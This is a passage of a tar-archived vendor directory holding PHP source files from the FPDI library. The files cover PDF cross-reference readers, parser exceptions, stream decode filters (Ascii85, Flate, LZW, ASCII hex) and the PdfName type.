PREG_SPLIT_NO_EMPTY); } else { $lines = \explode($m[0][0], $xrefContent); } unset($differentLineEndings, $m); $linesCount = \count($lines); $start = null; $entryCount = 0; $offsets = []; /** @noinspection ForeachInvariantsInspection */ for ($i = 0; $i < $linesCount; $i++) { $line = \trim($lines[$i]); if ($line) { $pieces = \explode(' ', $line); $c = \count($pieces); switch ($c) { case 2: $start = (int) $pieces[0]; $entryCount += (int) $pieces[1]; break; /** @noinspection PhpMissingBreakStatementInspection */ case 3: switch ($pieces[2]) { case 'n': $offsets[$start] = [(int) $pieces[0], (int) $pieces[1]]; $start++; break 2; case 'f': $start++; break 2; } // fall through if pieces doesn't match default: throw new CrossReferenceException( \sprintf('Unexpected data in xref table (%s)', \implode(' ', $pieces)), CrossReferenceException::INVALID_DATA ); } } } $this->offsets = $offsets; } } �������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/CrossReference/CrossReferenceException.php�����������������������0000644�����������������00000002462�14760002214�0023465 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\CrossReference; use setasign\Fpdi\PdfParser\PdfParserException; /** * Exception used by the CrossReference and Reader classes. * * @package setasign\Fpdi\PdfParser\CrossReference */ class CrossReferenceException extends PdfParserException { /** * @var int */ const INVALID_DATA = 0x0101; /** * @var int */ const XREF_MISSING = 0x0102; /** * @var int */ const ENTRIES_TOO_LARGE = 0x0103; /** * @var int */ const ENTRIES_TOO_SHORT = 0x0104; /** * @var int */ const NO_ENTRIES = 0x0105; /** * @var int */ const NO_TRAILER_FOUND = 0x0106; /** * @var int */ const NO_STARTXREF_FOUND = 0x0107; /** * @var int */ const NO_XREF_FOUND = 0x0108; /** * @var int */ const UNEXPECTED_END = 0x0109; /** * @var int */ const OBJECT_NOT_FOUND = 0x010A; /** * @var int */ const COMPRESSED_XREF = 0x010B; /** * @var int */ const ENCRYPTED = 0x010C; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/CrossReference/FixedReader.php�����������������������������������0000644�����������������00000013264�14760002214�0021062 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\CrossReference; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\StreamReader; /** * Class FixedReader * * This reader allows a very less overhead parsing of single entries of the cross-reference, because the main entries * are only read when needed and not in a single run. * * @package setasign\Fpdi\PdfParser\CrossReference */ class FixedReader extends AbstractReader implements ReaderInterface { /** * @var StreamReader */ protected $reader; /** * Data of subsections. * * @var array */ protected $subSections; /** * FixedReader constructor. * * @param PdfParser $parser * @throws CrossReferenceException */ public function __construct(PdfParser $parser) { $this->reader = $parser->getStreamReader(); $this->read(); parent::__construct($parser); } /** * Get all subsection data. * * @return array */ public function getSubSections() { return $this->subSections; } /** * @inheritdoc */ public function getOffsetFor($objectNumber) { foreach ($this->subSections as $offset => list($startObject, $objectCount)) { if ($objectNumber >= $startObject && $objectNumber < ($startObject + $objectCount)) { $position = $offset + 20 * ($objectNumber - $startObject); $this->reader->ensure($position, 20); $line = $this->reader->readBytes(20); if ($line[17] === 'f') { return false; } return (int) \substr($line, 0, 10); } } return false; } /** * Read the cross-reference. * * This reader will only read the subsections in this method. The offsets were resolved individually by this * information. * * @throws CrossReferenceException */ protected function read() { $subSections = []; $startObject = $entryCount = $lastLineStart = null; $validityChecked = false; while (($line = $this->reader->readLine(20)) !== false) { if (\strpos($line, 'trailer') !== false) { $this->reader->reset($lastLineStart); break; } // jump over if line content doesn't match the expected string if (\sscanf($line, '%d %d', $startObject, $entryCount) !== 2) { continue; } $oldPosition = $this->reader->getPosition(); $position = $oldPosition + $this->reader->getOffset(); if (!$validityChecked && $entryCount > 0) { $nextLine = $this->reader->readBytes(21); /* Check the next line for maximum of 20 bytes and not longer * By catching 21 bytes and trimming the length should be still 21. */ if (\strlen(\trim($nextLine)) !== 21) { throw new CrossReferenceException( 'Cross-reference entries are larger than 20 bytes.', CrossReferenceException::ENTRIES_TOO_LARGE ); } /* Check for less than 20 bytes: cut the line to 20 bytes and trim; have to result in exactly 18 bytes. * If it would have less bytes the substring would get the first bytes of the next line which would * evaluate to a 20 bytes long string after trimming. */ if (\strlen(\trim(\substr($nextLine, 0, 20))) !== 18) { throw new CrossReferenceException( 'Cross-reference entries are less than 20 bytes.', CrossReferenceException::ENTRIES_TOO_SHORT ); } $validityChecked = true; } $subSections[$position] = [$startObject, $entryCount]; $lastLineStart = $position + $entryCount * 20; $this->reader->reset($lastLineStart); } // reset after the last correct parsed line $this->reader->reset($lastLineStart); if (\count($subSections) === 0) { throw new CrossReferenceException( 'No entries found in cross-reference.', CrossReferenceException::NO_ENTRIES ); } $this->subSections = $subSections; } /** * Fixes an invalid object number shift. * * This method can be used to repair documents with an invalid subsection header: * * <code> * xref * 1 7 * 0000000000 65535 f * 0000000009 00000 n * 0000412075 00000 n * 0000412172 00000 n * 0000412359 00000 n * 0000412417 00000 n * 0000412468 00000 n * </code> * * It shall only be called on the first table. * * @return bool */ public function fixFaultySubSectionShift() { $subSections = $this->getSubSections(); if (\count($subSections) > 1) { return false; } $subSection = \current($subSections); if ($subSection[0] != 1) { return false; } if ($this->getOffsetFor(1) === false) { foreach ($subSections as $offset => list($startObject, $objectCount)) { $this->subSections[$offset] = [$startObject - 1, $objectCount]; } return true; } return false; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/CrossReference/ReaderInterface.php�������������������������������0000644�����������������00000001463�14760002214�0021721 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\CrossReference; use setasign\Fpdi\PdfParser\Type\PdfDictionary; /** * ReaderInterface for cross-reference readers. * * @package setasign\Fpdi\PdfParser\CrossReference */ interface ReaderInterface { /** * Get an offset by an object number. * * @param int $objectNumber * @return int|bool False if the offset was not found. */ public function getOffsetFor($objectNumber); /** * Get the trailer related to this cross reference. * * @return PdfDictionary */ public function getTrailer(); } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/CrossReference/CrossReference.php��������������������������������0000644�����������������00000023465�14760002214�0021614 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\CrossReference; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\Type\PdfDictionary; use setasign\Fpdi\PdfParser\Type\PdfIndirectObject; use setasign\Fpdi\PdfParser\Type\PdfNumeric; use setasign\Fpdi\PdfParser\Type\PdfStream; use setasign\Fpdi\PdfParser\Type\PdfToken; use setasign\Fpdi\PdfParser\Type\PdfTypeException; /** * Class CrossReference * * This class processes the standard cross reference of a PDF document. * * @package setasign\Fpdi\PdfParser\CrossReference */ class CrossReference { /** * The byte length in which the "startxref" keyword should be searched. * * @var int */ static public $trailerSearchLength = 5500; /** * @var int */ protected $fileHeaderOffset = 0; /** * @var PdfParser */ protected $parser; /** * @var ReaderInterface[] */ protected $readers = []; /** * CrossReference constructor. * * @param PdfParser $parser * @throws CrossReferenceException * @throws PdfTypeException */ public function __construct(PdfParser $parser, $fileHeaderOffset = 0) { $this->parser = $parser; $this->fileHeaderOffset = $fileHeaderOffset; $offset = $this->findStartXref(); $reader = null; /** @noinspection TypeUnsafeComparisonInspection */ while ($offset != false) { // By doing an unsafe comparsion we ignore faulty references to byte offset 0 try { $reader = $this->readXref($offset + $this->fileHeaderOffset); } catch (CrossReferenceException $e) { // sometimes the file header offset is part of the byte offsets, so let's retry by resetting it to zero. if ($e->getCode() === CrossReferenceException::INVALID_DATA && $this->fileHeaderOffset !== 0) { $this->fileHeaderOffset = 0; $reader = $this->readXref($offset + $this->fileHeaderOffset); } else { throw $e; } } $trailer = $reader->getTrailer(); $this->checkForEncryption($trailer); $this->readers[] = $reader; if (isset($trailer->value['Prev'])) { $offset = $trailer->value['Prev']->value; } else { $offset = false; } } // fix faulty sub-section header if ($reader instanceof FixedReader) { /** * @var FixedReader $reader */ $reader->fixFaultySubSectionShift(); } if ($reader === null) { throw new CrossReferenceException('No cross-reference found.', CrossReferenceException::NO_XREF_FOUND); } } /** * Get the size of the cross reference. * * @return integer */ public function getSize() { return $this->getTrailer()->value['Size']->value; } /** * Get the trailer dictionary. * * @return PdfDictionary */ public function getTrailer() { return $this->readers[0]->getTrailer(); } /** * Get the cross reference readser instances. * * @return ReaderInterface[] */ public function getReaders() { return $this->readers; } /** * Get the offset by an object number. * * @param int $objectNumber * @return integer|bool */ public function getOffsetFor($objectNumber) { foreach ($this->getReaders() as $reader) { $offset = $reader->getOffsetFor($objectNumber); if ($offset !== false) { return $offset; } } return false; } /** * Get an indirect object by its object number. * * @param int $objectNumber * @return PdfIndirectObject * @throws CrossReferenceException */ public function getIndirectObject($objectNumber) { $offset = $this->getOffsetFor($objectNumber); if ($offset === false) { throw new CrossReferenceException( \sprintf('Object (id:%s) not found.', $objectNumber), CrossReferenceException::OBJECT_NOT_FOUND ); } $parser = $this->parser; $parser->getTokenizer()->clearStack(); $parser->getStreamReader()->reset($offset + $this->fileHeaderOffset); try { /** @var PdfIndirectObject $object */ $object = $parser->readValue(null, PdfIndirectObject::class); } catch (PdfTypeException $e) { throw new CrossReferenceException( \sprintf('Object (id:%s) not found at location (%s).', $objectNumber, $offset), CrossReferenceException::OBJECT_NOT_FOUND, $e ); } if ($object->objectNumber !== $objectNumber) { throw new CrossReferenceException( \sprintf('Wrong object found, got %s while %s was expected.', $object->objectNumber, $objectNumber), CrossReferenceException::OBJECT_NOT_FOUND ); } return $object; } /** * Read the cross-reference table at a given offset. * * Internally the method will try to evaluate the best reader for this cross-reference. * * @param int $offset * @return ReaderInterface * @throws CrossReferenceException * @throws PdfTypeException */ protected function readXref($offset) { $this->parser->getStreamReader()->reset($offset); $this->parser->getTokenizer()->clearStack(); $initValue = $this->parser->readValue(); return $this->initReaderInstance($initValue); } /** * Get a cross-reference reader instance. * * @param PdfToken|PdfIndirectObject $initValue * @return ReaderInterface|bool * @throws CrossReferenceException * @throws PdfTypeException */ protected function initReaderInstance($initValue) { $position = $this->parser->getStreamReader()->getPosition() + $this->parser->getStreamReader()->getOffset() + $this->fileHeaderOffset; if ($initValue instanceof PdfToken && $initValue->value === 'xref') { try { return new FixedReader($this->parser); } catch (CrossReferenceException $e) { $this->parser->getStreamReader()->reset($position); $this->parser->getTokenizer()->clearStack(); return new LineReader($this->parser); } } if ($initValue instanceof PdfIndirectObject) { try { $stream = PdfStream::ensure($initValue->value); } catch (PdfTypeException $e) { throw new CrossReferenceException( 'Invalid object type at xref reference offset.', CrossReferenceException::INVALID_DATA, $e ); } $type = PdfDictionary::get($stream->value, 'Type'); if ($type->value !== 'XRef') { throw new CrossReferenceException( 'The xref position points to an incorrect object type.', CrossReferenceException::INVALID_DATA ); } $this->checkForEncryption($stream->value); throw new CrossReferenceException( 'This PDF document probably uses a compression technique which is not supported by the ' . 'free parser shipped with FPDI. (See https://www.setasign.com/fpdi-pdf-parser for more details)', CrossReferenceException::COMPRESSED_XREF ); } throw new CrossReferenceException( 'The xref position points to an incorrect object type.', CrossReferenceException::INVALID_DATA ); } /** * Check for encryption. * * @param PdfDictionary $dictionary * @throws CrossReferenceException */ protected function checkForEncryption(PdfDictionary $dictionary) { if (isset($dictionary->value['Encrypt'])) { throw new CrossReferenceException( 'This PDF document is encrypted and cannot be processed with FPDI.', CrossReferenceException::ENCRYPTED ); } } /** * Find the start position for the first cross-reference. * * @return int The byte-offset position of the first cross-reference. * @throws CrossReferenceException */ protected function findStartXref() { $reader = $this->parser->getStreamReader(); $reader->reset(-self::$trailerSearchLength, self::$trailerSearchLength); $buffer = $reader->getBuffer(false); $pos = \strrpos($buffer, 'startxref'); $addOffset = 9; if ($pos === false) { // Some corrupted documents uses startref, instead of startxref $pos = \strrpos($buffer, 'startref'); if ($pos === false) { throw new CrossReferenceException( 'Unable to find pointer to xref table', CrossReferenceException::NO_STARTXREF_FOUND ); } $addOffset = 8; } $reader->setOffset($pos + $addOffset); try { $value = $this->parser->readValue(null, PdfNumeric::class); } catch (PdfTypeException $e) { throw new CrossReferenceException( 'Invalid data after startxref keyword.', CrossReferenceException::INVALID_DATA, $e ); } return $value->value; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/CrossReference/AbstractReader.php��������������������������������0000644�����������������00000004771�14760002214�0021571 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\CrossReference; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\Type\PdfDictionary; use setasign\Fpdi\PdfParser\Type\PdfToken; use setasign\Fpdi\PdfParser\Type\PdfTypeException; /** * Abstract class for cross-reference reader classes. * * @package setasign\Fpdi\PdfParser\CrossReference */ abstract class AbstractReader { /** * @var PdfParser */ protected $parser; /** * @var PdfDictionary */ protected $trailer; /** * AbstractReader constructor. * * @param PdfParser $parser * @throws CrossReferenceException * @throws PdfTypeException */ public function __construct(PdfParser $parser) { $this->parser = $parser; $this->readTrailer(); } /** * Get the trailer dictionary. * * @return PdfDictionary */ public function getTrailer() { return $this->trailer; } /** * Read the trailer dictionary. * * @throws CrossReferenceException * @throws PdfTypeException */ protected function readTrailer() { try { $trailerKeyword = $this->parser->readValue(null, PdfToken::class); if ($trailerKeyword->value !== 'trailer') { throw new CrossReferenceException( \sprintf( 'Unexpected end of cross reference. "trailer"-keyword expected, got: %s.', $trailerKeyword->value ), CrossReferenceException::UNEXPECTED_END ); } } catch (PdfTypeException $e) { throw new CrossReferenceException( 'Unexpected end of cross reference. "trailer"-keyword expected, got an invalid object type.', CrossReferenceException::UNEXPECTED_END, $e ); } try { $trailer = $this->parser->readValue(null, PdfDictionary::class); } catch (PdfTypeException $e) { throw new CrossReferenceException( 'Unexpected end of cross reference. Trailer not found.', CrossReferenceException::UNEXPECTED_END, $e ); } $this->trailer = $trailer; } } �������vendor/setasign/fpdi/src/PdfParser/Filter/FilterException.php���������������������������������������0000644�����������������00000001023�14760002214�0020307 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Filter; use setasign\Fpdi\PdfParser\PdfParserException; /** * Exception for filters * * @package setasign\Fpdi\PdfParser\Filter */ class FilterException extends PdfParserException { const UNSUPPORTED_FILTER = 0x0201; const NOT_IMPLEMENTED = 0x0202; } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Filter/Ascii85.php�����������������������������������������������0000644�����������������00000005677�14760002214�0016433 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Filter; /** * Class for handling ASCII base-85 encoded data * * @package setasign\Fpdi\PdfParser\Filter */ class Ascii85 implements FilterInterface { /** * Decode ASCII85 encoded string. * * @param string $data The input string * @return string * @throws Ascii85Exception */ public function decode($data) { $out = ''; $state = 0; $chn = null; $data = \preg_replace('/\s/', '', $data); $l = \strlen($data); /** @noinspection ForeachInvariantsInspection */ for ($k = 0; $k < $l; ++$k) { $ch = \ord($data[$k]) & 0xff; //Start <~ if ($k === 0 && $ch === 60 && isset($data[$k + 1]) && (\ord($data[$k + 1]) & 0xFF) === 126) { $k++; continue; } //End ~> if ($ch === 126 && isset($data[$k + 1]) && (\ord($data[$k + 1]) & 0xFF) === 62) { break; } if ($ch === 122 /* z */ && $state === 0) { $out .= \chr(0) . \chr(0) . \chr(0) . \chr(0); continue; } if ($ch < 33 /* ! */ || $ch > 117 /* u */) { throw new Ascii85Exception( 'Illegal character found while ASCII85 decode.', Ascii85Exception::ILLEGAL_CHAR_FOUND ); } $chn[$state] = $ch - 33;/* ! */ $state++; if ($state === 5) { $state = 0; $r = 0; for ($j = 0; $j < 5; ++$j) { /** @noinspection UnnecessaryCastingInspection */ $r = (int)($r * 85 + $chn[$j]); } $out .= \chr($r >> 24) . \chr($r >> 16) . \chr($r >> 8) . \chr($r); } } if ($state === 1) { throw new Ascii85Exception( 'Illegal length while ASCII85 decode.', Ascii85Exception::ILLEGAL_LENGTH ); } if ($state === 2) { $r = $chn[0] * 85 * 85 * 85 * 85 + ($chn[1] + 1) * 85 * 85 * 85; $out .= \chr($r >> 24); } elseif ($state === 3) { $r = $chn[0] * 85 * 85 * 85 * 85 + $chn[1] * 85 * 85 * 85 + ($chn[2] + 1) * 85 * 85; $out .= \chr($r >> 24); $out .= \chr($r >> 16); } elseif ($state === 4) { $r = $chn[0] * 85 * 85 * 85 * 85 + $chn[1] * 85 * 85 * 85 + $chn[2] * 85 * 85 + ($chn[3] + 1) * 85; $out .= \chr($r >> 24); $out .= \chr($r >> 16); $out .= \chr($r >> 8); } return $out; } } �����������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Filter/Flate.php�������������������������������������������������0000644�����������������00000004752�14760002214�0016252 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Filter; /** * Class for handling zlib/deflate encoded data * * @package setasign\Fpdi\PdfParser\Filter */ class Flate implements FilterInterface { /** * Checks whether the zlib extension is loaded. * * Used for testing purpose. * * @return boolean * @internal */ protected function extensionLoaded() { return \extension_loaded('zlib'); } /** * Decodes a flate compressed string. * * @param string $data The input string * @return string * @throws FlateException */ public function decode($data) { if ($this->extensionLoaded()) { $oData = $data; $data = @((\strlen($data) > 0) ? \gzuncompress($data) : ''); if ($data === false) { // let's try if the checksum is CRC32 $fh = fopen('php://temp', 'w+b'); fwrite($fh, "\x1f\x8b\x08\x00\x00\x00\x00\x00" . $oData); stream_filter_append($fh, 'zlib.inflate', STREAM_FILTER_READ, ['window' => 30]); fseek($fh, 0); $data = stream_get_contents($fh); fclose($fh); if ($data) { return $data; } // Try this fallback $tries = 0; $oDataLen = strlen($oData); while ($tries < 6 && ($data === false || (strlen($data) < (strlen($oDataLen) - $tries - 1)))) { $data = @(gzinflate(substr($oData, $tries))); $tries++; } // let's use this fallback only if the $data is longer than the original data if (strlen($data) > ($oDataLen - $tries - 1)) { return $data; } if (!$data) { throw new FlateException( 'Error while decompressing stream.', FlateException::DECOMPRESS_ERROR ); } } } else { throw new FlateException( 'To handle FlateDecode filter, enable zlib support in PHP.', FlateException::NO_ZLIB ); } return $data; } } ����������������������vendor/setasign/fpdi/src/PdfParser/Filter/Lzw.php���������������������������������������������������0000644�����������������00000010276�14760002214�0015771 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Filter; /** * Class for handling LZW encoded data * * @package setasign\Fpdi\PdfParser\Filter */ class Lzw implements FilterInterface { /** * @var null|string */ protected $data; /** * @var array */ protected $sTable = []; /** * @var int */ protected $dataLength = 0; /** * @var int */ protected $tIdx; /** * @var int */ protected $bitsToGet = 9; /** * @var int */ protected $bytePointer; /** * @var int */ protected $nextData = 0; /** * @var int */ protected $nextBits = 0; /** * @var array */ protected $andTable = [511, 1023, 2047, 4095]; /** * Method to decode LZW compressed data. * * @param string $data The compressed data * @return string The uncompressed data * @throws LzwException */ public function decode($data) { if ($data[0] === "\x00" && $data[1] === "\x01") { throw new LzwException( 'LZW flavour not supported.', LzwException::LZW_FLAVOUR_NOT_SUPPORTED ); } $this->initsTable(); $this->data = $data; $this->dataLength = \strlen($data); // Initialize pointers $this->bytePointer = 0; $this->nextData = 0; $this->nextBits = 0; $oldCode = 0; $uncompData = ''; while (($code = $this->getNextCode()) !== 257) { if ($code === 256) { $this->initsTable(); $code = $this->getNextCode(); if ($code === 257) { break; } $uncompData .= $this->sTable[$code]; $oldCode = $code; } else { if ($code < $this->tIdx) { $string = $this->sTable[$code]; $uncompData .= $string; $this->addStringToTable($this->sTable[$oldCode], $string[0]); $oldCode = $code; } else { $string = $this->sTable[$oldCode]; $string .= $string[0]; $uncompData .= $string; $this->addStringToTable($string); $oldCode = $code; } } } return $uncompData; } /** * Initialize the string table. */ protected function initsTable() { $this->sTable = []; for ($i = 0; $i < 256; $i++) { $this->sTable[$i] = \chr($i); } $this->tIdx = 258; $this->bitsToGet = 9; } /** * Add a new string to the string table. * * @param string $oldString * @param string $newString */ protected function addStringToTable($oldString, $newString = '') { $string = $oldString . $newString; // Add this new String to the table $this->sTable[$this->tIdx++] = $string; if ($this->tIdx === 511) { $this->bitsToGet = 10; } elseif ($this->tIdx === 1023) { $this->bitsToGet = 11; } elseif ($this->tIdx === 2047) { $this->bitsToGet = 12; } } /** * Returns the next 9, 10, 11 or 12 bits. * * @return integer */ protected function getNextCode() { if ($this->bytePointer === $this->dataLength) { return 257; } $this->nextData = ($this->nextData << 8) | (\ord($this->data[$this->bytePointer++]) & 0xff); $this->nextBits += 8; if ($this->nextBits < $this->bitsToGet) { $this->nextData = ($this->nextData << 8) | (\ord($this->data[$this->bytePointer++]) & 0xff); $this->nextBits += 8; } $code = ($this->nextData >> ($this->nextBits - $this->bitsToGet)) & $this->andTable[$this->bitsToGet - 9]; $this->nextBits -= $this->bitsToGet; return $code; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Filter/FlateException.php����������������������������������������0000644�����������������00000001047�14760002214�0020123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Filter; /** * Exception for flate filter class * * @package setasign\Fpdi\PdfParser\Filter */ class FlateException extends FilterException { /** * @var integer */ const NO_ZLIB = 0x0401; /** * @var integer */ const DECOMPRESS_ERROR = 0x0402; } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Filter/AsciiHex.php����������������������������������������������0000644�����������������00000002241�14760002214�0016703 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Filter; /** * Class for handling ASCII hexadecimal encoded data * * @package setasign\Fpdi\PdfParser\Filter */ class AsciiHex implements FilterInterface { /** * Converts an ASCII hexadecimal encoded string into its binary representation. * * @param string $data The input string * @return string */ public function decode($data) { $data = \preg_replace('/[^0-9A-Fa-f]/', '', \rtrim($data, '>')); if ((\strlen($data) % 2) === 1) { $data .= '0'; } return \pack('H*', $data); } /** * Converts a string into ASCII hexadecimal representation. * * @param string $data The input string * @param boolean $leaveEOD * @return string */ public function encode($data, $leaveEOD = false) { $t = \unpack('H*', $data); return \current($t) . ($leaveEOD ? '' : '>'); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Filter/FilterInterface.php���������������������������������������0000644�����������������00000001023�14760002214�0020251 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Filter; /** * Interface for filters * * @package setasign\Fpdi\PdfParser\Filter */ interface FilterInterface { /** * Decode a string. * * @param string $data The input string * @return string */ public function decode($data); } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Filter/LzwException.php������������������������������������������0000644�����������������00000000753�14760002214�0017647 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Filter; /** * Exception for LZW filter class * * @package setasign\Fpdi\PdfParser\Filter */ class LzwException extends FilterException { /** * @var integer */ const LZW_FLAVOUR_NOT_SUPPORTED = 0x0501; } ���������������������vendor/setasign/fpdi/src/PdfParser/Filter/Ascii85Exception.php��������������������������������������0000644�����������������00000001064�14760002214�0020274 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Filter; /** * Exception for Ascii85 filter class * * @package setasign\Fpdi\PdfParser\Filter */ class Ascii85Exception extends FilterException { /** * @var integer */ const ILLEGAL_CHAR_FOUND = 0x0301; /** * @var integer */ const ILLEGAL_LENGTH = 0x0302; } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfName.php�������������������������������������������������0000644�����������������00000003622�14760002214�0016220 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\StreamReader; use setasign\Fpdi\PdfParser\Tokenizer; /** * Class representing a PDF name object * * @package setasign\Fpdi\PdfParser\Type */ class PdfName extends PdfType { /** * Parses a name object from the passed tokenizer and stream-reader. * * @param Tokenizer $tokenizer * @param StreamReader $streamReader * @return self */ public static function parse(Tokenizer $tokenizer, StreamReader $streamReader) { $v = new self; if (\strspn($streamReader->getByte(), "\x00\x09\x0A\x0C\x0D\x20()<>[]{}/%") === 0) { $v->value = (string) $tokenizer->getNextToken(); return $v; } $v->value = ''; return $v; } /** * Unescapes a name string. * * @param string $value * @return string */ static public function unescape($value) { if (strpos($value, '#') === false) return $value; return preg_replace_callback('/#([a-fA-F\d]{2})/', function($matches) { return chr(hexdec($matches[1])); }, $value); } /** * Helper method to create an instance. * * @param string $string * @return self */ public static function create($string) { $v = new self; $v->value = $string; return $v; } /** * Ensures that the passed value is a PdfName instance. * * @param mixed $name * @return self * @throws PdfTypeException */ public static function ensure($name) { return PdfType::ensureType(self::class, $name, 'Name value expected.'); } } 